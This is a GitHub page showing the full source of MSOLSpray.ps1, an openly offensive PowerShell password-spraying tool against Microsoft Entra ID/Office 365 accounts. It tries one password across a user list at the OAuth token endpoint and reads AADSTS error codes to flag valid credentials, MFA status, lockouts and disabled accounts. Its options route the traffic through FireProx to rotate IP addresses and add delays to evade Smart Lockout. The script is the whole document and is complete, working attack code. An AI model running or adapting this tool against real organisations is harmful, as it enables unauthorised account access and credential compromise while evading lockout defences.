forked from dafthack/MSOLSpray
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMSOLSpray.ps1
More file actions
332 lines (258 loc) · 13.3 KB
/
Copy pathMSOLSpray.ps1
File metadata and controls
332 lines (258 loc) · 13.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
function Invoke-MSOLSpray{
<#
.SYNOPSIS
This module will perform password spraying against Microsoft Online accounts (Microsoft Entra ID/Azure AD/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.
MSOLSpray Function: Invoke-MSOLSpray
Author: Beau Bullock (@dafthack)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This module will perform password spraying against Microsoft Online accounts (Microsoft Entra ID/Azure AD/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.
.PARAMETER UserList
UserList file filled with usernames one-per-line in the format "user@domain.com"
.PARAMETER Password
A single password that will be used to perform the password spray.
.PARAMETER OutFile
A file to output valid results to.
.PARAMETER Force
Forces the spray to continue and not stop when multiple account lockouts are detected.
.PARAMETER URL
The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.
.PARAMETER TenantId
The tenant ID to target. Default is "common". Useful for forcing authentication against a specific tenant (e.g., for B2B users).
.PARAMETER Delay
Delay in seconds between each authentication attempt. Helps avoid rate limiting and Smart Lockout. Default is 0 seconds.
.PARAMETER VerboseErrors
Displays additional error information for troubleshooting authentication issues.
.EXAMPLE
C:\PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
Description
-----------
This command will use the provided userlist and attempt to authenticate to each account with a password of Winter2020.
.EXAMPLE
C:\PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password P@ssword -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox -OutFile valid-users.txt
Description
-----------
This command uses the specified FireProx URL to spray from randomized IP addresses and writes the output to a file. See this for FireProx setup: https://github.com/ustayready/fireprox.
.EXAMPLE
C:\PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password Fall2024! -Delay 5 -Verbose
Description
-----------
This command will spray passwords with a 5 second delay between attempts and display verbose error information.
#>
Param(
[Parameter(Position = 0, Mandatory = $False)]
[string]
$OutFile = "",
[Parameter(Position = 1, Mandatory = $False)]
[string]
$UserList = "",
[Parameter(Position = 2, Mandatory = $False)]
[string]
$Password = "",
# Change the URL if you are using something like FireProx
[Parameter(Position = 3, Mandatory = $False)]
[string]
$URL = "https://login.microsoft.com",
[Parameter(Position = 4, Mandatory = $False)]
[string]
$TenantId = "common",
[Parameter(Position = 5, Mandatory = $False)]
[switch]
$Force,
[Parameter(Position = 6, Mandatory = $False)]
[int]
$Delay = 0,
[Parameter(Position = 7, Mandatory = $False)]
[switch]
$VerboseErrors
)
$ErrorActionPreference= 'silentlycontinue'
# Input validation
if ([string]::IsNullOrWhiteSpace($UserList)) {
Write-Host -ForegroundColor "red" "[!] Error: UserList parameter is required."
return
}
if (-not (Test-Path $UserList)) {
Write-Host -ForegroundColor "red" "[!] Error: UserList file not found: $UserList"
return
}
if ([string]::IsNullOrWhiteSpace($Password)) {
Write-Host -ForegroundColor "red" "[!] Error: Password parameter is required."
return
}
$Usernames = Get-Content $UserList
$count = $Usernames.count
if ($count -eq 0) {
Write-Host -ForegroundColor "red" "[!] Error: UserList file is empty."
return
}
$curr_user = 0
$lockout_count = 0
$lockoutquestion = 0
$fullresults = @()
Write-Host -ForegroundColor "yellow" ("[*] There are " + $count + " total users to spray.")
Write-Host -ForegroundColor "yellow" "[*] Now spraying Microsoft Online (Entra ID)."
$currenttime = Get-Date
Write-Host -ForegroundColor "yellow" "[*] Current date and time: $currenttime"
if ($Delay -gt 0) {
Write-Host -ForegroundColor "yellow" "[*] Delay between requests: $Delay seconds"
}
ForEach ($username in $usernames){
# Adding an extra comment for reasons...
# User counter
$curr_user += 1
Write-Host -nonewline "$curr_user of $count users tested`r"
# Setting up the web request
$BodyParams = @{'resource' = 'https://graph.windows.net'; 'client_id' = '1b730954-1685-4b74-9bfd-dac224a7b894' ; 'client_info' = '1' ; 'grant_type' = 'password' ; 'username' = $username ; 'password' = $password ; 'scope' = 'openid'}
$PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' = 'application/x-www-form-urlencoded'}
$webrequest = Invoke-WebRequest $URL/$TenantId/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr
# If we get a 200 response code it's a valid cred
If ($webrequest.StatusCode -eq "200"){
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password"
$webrequest = ""
$fullresults += "$username : $password"
}
else{
# Check the response for indication of MFA, tenant, valid user, etc...
# Here is a reference list of all the Microsoft Entra ID (Azure AD) Authentication and Authorization Error Codes:
# https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes
# Standard invalid password
If($RespErr -match "AADSTS50126")
{
continue
}
# Invalid Tenant Response
ElseIf (($RespErr -match "AADSTS50128") -or ($RespErr -match "AADSTS50059"))
{
Write-Output "[*] WARNING! Tenant for account $username doesn't exist. Check the domain to make sure they are using Azure/O365 services."
}
# Invalid Username
ElseIf($RespErr -match "AADSTS50034")
{
Write-Output "[*] WARNING! The user $username doesn't exist."
}
# Microsoft MFA response
ElseIf($RespErr -match "AADSTS50076")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates MFA (Microsoft) is in use."
$fullresults += "$username : $password"
}
# User can complete MFA registration
ElseIf($RespErr -match "AADSTS50079")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates that MFA can be onboarded (password is valid)."
$fullresults += "$username : $password"
}
# Conditional Access response (Based off of limited testing this seems to be the response to DUO MFA)
ElseIf($RespErr -match "AADSTS50158")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates conditional access (MFA: DUO or other) is in use."
$fullresults += "$username : $password"
}
# Locked out account or Smart Lockout in place
ElseIf($RespErr -match "AADSTS50053")
{
Write-Output "[*] WARNING! The account $username appears to be locked."
$lockout_count++
}
# Disabled account
ElseIf($RespErr -match "AADSTS50057")
{
Write-Output "[*] WARNING! The account $username appears to be disabled."
}
# User password is expired
ElseIf($RespErr -match "AADSTS50055")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The user's password is expired."
$fullresults += "$username : $password"
}
# User password must be reset
ElseIf($RespErr -match "AADSTS50056")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The user's password must be reset."
$fullresults += "$username : $password"
}
# Grant expired or revoked (password was changed/reset)
ElseIf($RespErr -match "AADSTS50173")
{
Write-Output "[*] INFO: The user $username had their password changed or tokens were revoked."
}
# Conditional Access policy blocks token issuance
ElseIf($RespErr -match "AADSTS53003")
{
Write-Output "[*] INFO: Access for $username blocked by Conditional Access policies."
}
# User must enroll for multi-factor authentication
ElseIf($RespErr -match "AADSTS50072")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: User must enroll in MFA (but password is valid)."
$fullresults += "$username : $password"
}
# Strong authentication is required
ElseIf($RespErr -match "AADSTS50074")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: Strong authentication required (MFA enforced)."
$fullresults += "$username : $password"
}
# Application not found in directory
ElseIf($RespErr -match "AADSTS700016")
{
Write-Output "[*] WARNING! Application identifier not found in tenant for $username."
}
# Missing tenant information
ElseIf($RespErr -match "AADSTS90019")
{
Write-Output "[*] WARNING! Missing tenant information for $username."
}
# User trying to sign in with personal Microsoft account
ElseIf($RespErr -match "AADSTS81018")
{
Write-Output "[*] INFO: User $username attempted to sign in with personal Microsoft account (not work/school)."
}
# Unknown errors
Else
{
Write-Output "[*] Got an error we haven't seen yet for user $username"
if ($VerboseErrors) {
Write-Output "[*] Verbose Error Details for ${username}:"
$RespErr
}
}
}
# Add delay between requests if specified (but not after the last user)
if ($Delay -gt 0 -and $curr_user -lt $count) {
Start-Sleep -Seconds $Delay
}
# If the force flag isn't set and lockout count is 10 we'll ask if the user is sure they want to keep spraying
if (!$Force -and $lockout_count -eq 10 -and $lockoutquestion -eq 0)
{
$title = "WARNING! Multiple Account Lockouts Detected!"
$message = "10 of the accounts you sprayed appear to be locked out. Do you want to continue this spray?"
$yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", `
"Continues the password spray."
$no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", `
"Cancels the password spray."
$options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no)
$result = $host.ui.PromptForChoice($title, $message, $options, 0)
$lockoutquestion++
if ($result -ne 0)
{
Write-Host "[*] Cancelling the password spray."
Write-Host "NOTE: If you are seeing multiple 'account is locked' messages after your first 10 attempts or so this may indicate Microsoft Entra ID Smart Lockout is enabled."
break
}
}
}
# Output to file
if ($OutFile -ne "")
{
If ($fullresults)
{
$fullresults | Out-File -Encoding ascii $OutFile
Write-Output "Results have been written to $OutFile."
}
}
Write-Host ""
}